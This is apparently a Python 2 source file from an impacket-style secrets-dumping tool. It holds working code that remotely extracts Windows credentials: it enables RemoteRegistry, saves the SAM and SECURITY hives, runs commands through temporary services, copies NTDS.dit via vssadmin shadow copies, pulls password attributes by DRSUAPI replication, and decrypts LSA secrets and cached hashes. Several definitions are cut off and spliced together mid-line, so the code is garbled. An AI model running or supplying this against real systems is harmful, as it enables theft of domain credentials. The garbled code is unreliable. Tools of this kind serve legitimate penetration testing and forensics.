from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.winregistry import hexdump
from impacket.structure import Structure
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.ese import ESENT_DB
from impacket.dcerpc.v5.dtypes import NULL
try:
from Crypto.Cipher import DES, ARC4, AES
from Crypto.Hash import HMAC, MD4
except ImportError:
logging.critical("Warning: You don't have any crypto installed. You need PyCrypto")
logging.critical("See http://www.pycrypto.org/")
# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
structure = (
('Revision','L',self['SubAuthority'][i*4:i*4+4])[0])
return ans
class LSA_SECRET_BLOB(Structure):
structure = (
('Length',' 0:
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return ''
def close(self):
if self.__fid is not None:
self.__smbConnection.closeFile(self.__tid, self.__fid)
self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
self.__fid = None
def tell(self):
return self.__currentOffset
def __str__(self):
return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
class RemoteOperations:
def __init__(self, smbConnection, doKerberos, kdcHost=None):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5*60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
self.__samr = None
self.__domainHandle = None
self.__domainName = None
self.__drsr = None
self.__hDrs = None
self.__NtdsDsaObjectGuid = None
self.__ppartialAttrSet = None
self.__prefixTable = []
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__bootKey = ''
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
self.__tmpServiceName = None
self.__serviceDeleted = False
self.__batchFile = '%TEMP%\\execute.bat'
self.__shell = '%COMSPEC% /Q /c '
self.__output = '%SYSTEMROOT%\\Temp\\__output'
self.__answerTMP = ''
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def __connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def connectSamr(self, domain):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle']
self.__domainName = domain
def __connectDrds(self):
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
# I'm uber potential (c) Ben
drs['dwExtCaps'] = 0xffffffff
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
if logging.getLogger().level == logging.DEBUG:
logging.debug('DRSBind() answer')
resp.dump()
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
if logging.getLogger().level == logging.DEBUG:
logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
'dwReplEpoch'])
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
if logging.getLogger().level == logging.DEBUG:
logging.debug('DRSDomainControllerInfo() answer')
resp.dump()
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
raise Exception('Fatal, aborting')
def getDrsr(self):
return self.__drsr
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
if self.__drsr is None:
self.__connectDrds()
logging.debug('Calling DRSCrackNames for %s ' % name)
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def DRSGetNCChanges(self, userEntry):
if self.__drsr is None:
self.__connectDrds()
logging.debug('Calling DRSGetNCChanges for %s ' % userEntry)
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
dsName['NameLen'] = len(userEntry)
dsName['StringName'] = (userEntry + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
if self.__ppartialAttrSet is None:
self.__prefixTable = []
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
self.__ppartialAttrSet['dwVersion'] = 1
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
return self.__drsr.request(request)
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
def ridToSid(self, rid):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
return resp['Sid']
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
'wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
def getDefaultLoginAccount(self):
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
keyHandle = ans['phkResult']
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
username = dataValue[:-1]
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
domain = dataValue[:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
if len(domain) > 0:
return '%s\\%s' % (domain,username)
else:
return username
except:
return None
def getServiceAccount(self, serviceName):
try:
# Open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
serviceHandle = ans['lpServiceHandle']
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
if account.startswith('.\\'):
account = account[2:]
return account
except Exception, e:
logging.error(e)
return None
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state'% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running'% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
logging.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
time.sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.__connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
logging.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
if self.__serviceDeleted is False:
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try:
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*self.__smbConnection.getCredentials())
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
rpc.disconnect()
except Exception, e:
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__drsr is not None:
self.__drsr.disconnect()
if self.__samr is not None:
self.__samr.disconnect()
if self.__scmr is not None:
self.__scmr.disconnect()
def getBootKey(self):
bootKey = ''
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
bootKey = bootKey + ans['lpClassOut'][:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
bootKey = unhexlify(bootKey)
for i in xrange(len(bootKey)):
self.__bootKey += bootKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
return self.__bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
keyHandle = ans['phkResult']
try:
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
except:
noLMHash = 0
if noLMHash != 1:
logging.debug('LMHashes are being stored')
return False
logging.debug('LMHashes are NOT being stored')
return True
def __retrieveHive(self, hiveName):
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
except:
raise Exception("Can't open %s hive" % hiveName)
keyHandle = ans['phkResult']
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
return remoteFileName
def saveSAM(self):
logging.debug('Saving remote SAM database')
return self.__retrieveHive('SAM')
def saveSECURITY(self):
logging.debug('Saving remote SECURITY database')
return self.__retrieveHive('SECURITY')
def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def __answer(self, data):
self.__answerTMP += data
def __getLastVSS(self):
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
time.sleep(5)
tries = 0
while True:
try:
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
break
except Exception, e:
if tries > 30:
# We give up
raise Exception('Too many tries trying to list vss shadows')
if str(e).find('SHARING') > 0:
# Stuff didn't finish yet.. wait more
time.sleep(5)
tries +=1
pass
else:
raise
lines = self.__answerTMP.split('\n')
lastShadow = ''
lastShadowFor = ''
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = 'Volume: ('
for line in lines:
if line.find('GLOBALROOT') > 0:
lastShadow = line[line.find('\\\\?'):][:-1]
elif line.find(SHADOWFOR) > 0:
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
return lastShadow, lastShadowFor
def saveNTDS(self):
logging.info('Searching for NTDS.dit')
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
keyHandle = ans['phkResult']
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
try:
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
ntdsLocation = dataValue[:-1]
ntdsDrive = ntdsLocation[:2]
except:
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
# Get the list of remote shadows
shadow, shadowFor = self.__getLastVSS()
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
# No shadow, create one
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
shadow, shadowFor = self.__getLastVSS()
shouldRemove = True
if shadow == '':
raise Exception('Could not get a VSS')
else:
shouldRemove = False
# Now copy the ntds.dit to the temp directory
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
if shouldRemove is True:
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
return remoteFileName
class CryptoCommon:
# Common crypto stuff used over different classes
def transformKey(self, InputKey):
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
OutputKey = []
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def deriveKey(self, baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack(' 0:
items = sorted(self.__itemsFound)
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()
class LSASecrets(OfflineRegistry):
def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False):
OfflineRegistry.__init__(self,securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__LSAKey = ''
self.__NKLMKey = ''
self.__isRemote = isRemote
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def __sha256(self, key, value, rounds=1000):
sha = hashlib.sha256()
sha.update(key)
for i in range(1000):
sha.update(value)
return sha.digest()
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
encryptedSecretSize = unpack(' 0:
return data + (data & 0x3)
else:
return data
def dumpCachedHashes(self):
if self.__securityFile is None:
# No SECURITY file provided
return
logging.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
# Let's first see if there are cached entries
values = self.enumValues('\\Cache')
if values is None:
# No cache entries
return
try:
# Remove unnecesary value
values.remove('NL$Control')
except:
pass
self.__getLSASecretKey()
self.__getNLKMSecret()
for value in values:
logging.debug('Looking into %s' % value)
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
if record['CH'] != 16 * '\x00':
if self.__vistaStyle is True:
plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
pass
encHash = plainText[:0x10]
plainText = plainText[0x48:]
userName = plainText[:record['UserLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['UserLength']):]
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['DomainNameLength']):]
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
self.__cachedItems.append(answer)
print answer
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
# First off, let's discard NULL secrets.
if len(secretItem) == 0:
logging.debug('Discarding secret %s, NULL Data' % name)
return
# We might have secrets with zero
if secretItem.startswith('\x00\x00'):
logging.debug('Discarding secret %s, all zeros' % name)
return
upperName = name.upper()
logging.info('%s ' % name)
secret = ''
if upperName.startswith('_SC_'):
# Service name, a password might be there
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account the service
# runs under
if self.__isRemote is True:
account = self.__remoteOps.getServiceAccount(name[4:])
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('DEFAULTPASSWORD'):
# defaults password for winlogon
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account this password is for
if self.__isRemote is True:
account = self.__remoteOps.getDefaultLoginAccount()
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('ASPNET_WP_PASSWORD'):
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
secret = 'ASPNET: %s' % strDecoded
elif upperName.startswith('$MACHINE.ACC'):
# compute MD4 of the secret.. yes.. that is the nthash? :-o
md4 = MD4.new()
md4.update(secretItem)
if self.__isRemote is True:
machine, domain = self.__remoteOps.getMachineNameAndDomain()
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
else:
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
if secret != '':
print secret
self.__secretItems.append(secret)
else:
# Default print, hexdump
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
hexdump(secretItem)
def dumpSecrets(self):
if self.__securityFile is None:
# No SECURITY file provided
return
logging.info('Dumping LSA Secrets')
# Let's first see if there are cached entries
keys = self.enumKey('\\Policy\\Secrets')
if keys is None:
# No entries
return
try:
# Remove unnecesary value
keys.remove('NL$Control')
except:
pass
if self.__LSAKey == '':
self.__getLSASecretKey()
for key in keys:
logging.debug('Looking into %s' % key)
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
if value is not None:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
self.__printSecret(key, secret)
def exportSecrets(self, fileName):
if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
for item in self.__secretItems:
fd.write(item+'\n')
fd.close()
def exportCached(self, fileName):
if len(self.__cachedItems) > 0:
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
for item in self.__cachedItems:
fd.write(item+'\n')
fd.close()
class NTDSHashes:
NAME_TO_INTERNAL = {
'uSNCreated':'ATTq131091',
'uSNChanged':'ATTq131192',
'name':'ATTm3',
'objectGUID':'ATTk589826',
'objectSid':'ATTr589970',
'userAccountControl':'ATTj589832',
'primaryGroupID':'ATTj589922',
'accountExpires':'ATTq589983',
'logonCount':'ATTj589993',
'sAMAccountName':'ATTm590045',
'sAMAccountType':'ATTj590126',
'lastLogonTimestamp':'ATTq589876',
'userPrincipalName':'ATTm590480',
'unicodePwd':'ATTk589914',
'dBCSPwd':'ATTk589879',
'ntPwdHistory':'ATTk589918',
'lmPwdHistory':'ATTk589984',
'pekList':'ATTk590689',
'supplementalCredentials':'ATTk589949',
'pwdLastSet':'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedPek',':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header','32s=""'),
('DecryptedPek',':'),
)
class PEK_KEY(Structure):
structure = (
('Header','1s=""'),
('Padding','3s=""'),
('Key','16s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash','16s=""'),
)
